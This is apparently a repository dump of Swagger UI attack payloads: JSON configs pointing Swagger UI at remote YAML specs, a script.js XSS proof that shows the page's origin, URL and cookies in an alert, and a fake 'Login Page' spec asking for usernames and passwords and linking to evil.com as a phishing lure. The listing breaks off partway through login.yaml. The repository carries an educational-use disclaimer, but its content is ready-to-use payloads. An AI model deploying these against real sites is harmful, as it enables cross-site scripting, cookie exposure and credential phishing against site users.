├── README.md ├── login.json ├── rlogin.json ├── xsstest.json ├── xsscookie.json ├── script.js ├── rlogin.yaml ├── login.yaml ├── Swagger.yaml └── swagger-wordlist.txt /README.md: -------------------------------------------------------------------------------- 1 | ⚠️ **Disclaimer**: The content in this repository is for educational and informational purposes only; the authors hold no responsibility for misuse. Ensure proper authorization before use, act responsibly at your own risk, and comply with all legal and ethical guidelines. 2 | -------------------------------------------------------------------------------- /login.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/login.yaml", 3 | "urls": [ 4 | { 5 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/login.yaml", 6 | "name": "Coffinxp" 7 | } 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /rlogin.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/rlogin.yaml", 3 | "urls": [ 4 | { 5 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/rlogin.yaml", 6 | "name": "Coffinxp" 7 | } 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /xsstest.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsstest.yaml", 3 | "urls": [ 4 | { 5 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsstest.yaml", 6 | "name": "Coffinxp" 7 | } 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /xsscookie.json: -------------------------------------------------------------------------------- 1 | { 2 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsscookie.yaml", 3 | "urls": [ 4 | { 5 | "url": "https://raw.githubusercontent.com/coffinxp/swagger/refs/heads/main/xsscookie.yaml", 6 | "name": "Coffinxp" 7 | } 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /script.js: -------------------------------------------------------------------------------- 1 | const details = ` 2 | 🚨 XSS Detected 🚨 3 | ======================== 4 | 🏁 Origin: ${window.origin} 5 | 🌐 Location: ${window.location} 6 | 🔗 Href: ${window.location.href} 7 | 🏢 Hostname: ${window.location.hostname} 8 | 📂 Pathname: ${window.location.pathname} 9 | ❓ Search: ${window.location.search} 10 | 👪 Parent Origin: ${window.parent?.origin || 'N/A'} 11 | 🧑💻 Top Origin: ${window.top?.origin || 'N/A'} 12 | 🖼️ Frames Length: ${window.frames.length} 13 | 🪪 Window Name: ${window.name} 14 | ======================== 15 | 🍪 Cookies: ${document.cookie || 'No cookies available'} 16 | 🕵️ User-Agent: ${navigator.userAgent} 17 | ⏳ Timestamp: ${new Date().toISOString()} 18 | `; 19 | 20 | alert(details); 21 | console.log(details); 22 | -------------------------------------------------------------------------------- /rlogin.yaml: -------------------------------------------------------------------------------- 1 | swagger: '2.0' 2 | info: 3 | version: 1.0.0 4 | title: Login Page 5 | description: Login to continue services below or go to https://evil.com 6 | 7 | paths: 8 | /Login_Page: 9 | post: 10 | summary: Login here to continue 11 | description: Please provide your credentials to log in. 12 | parameters: 13 | - name: username 14 | in: formData 15 | description: The username for login 16 | required: true 17 | type: string 18 | - name: password 19 | in: formData 20 | description: The password for login 21 | required: true 22 | type: string 23 | tags: 24 | - Click here to login 25 | responses: 26 | '200': 27 | description: Successfully logged in and authenticated. 28 | '400': 29 | description: Invalid credentials or missing parameters. 30 | '500': 31 | description: Internal server error. 32 | -------------------------------------------------------------------------------- /login.yaml: -------------------------------------------------------------------------------- 1 | swagger: '2.0' 2 | info: 3 | version: 1.0.0 4 | title: Login Page 5 | description: '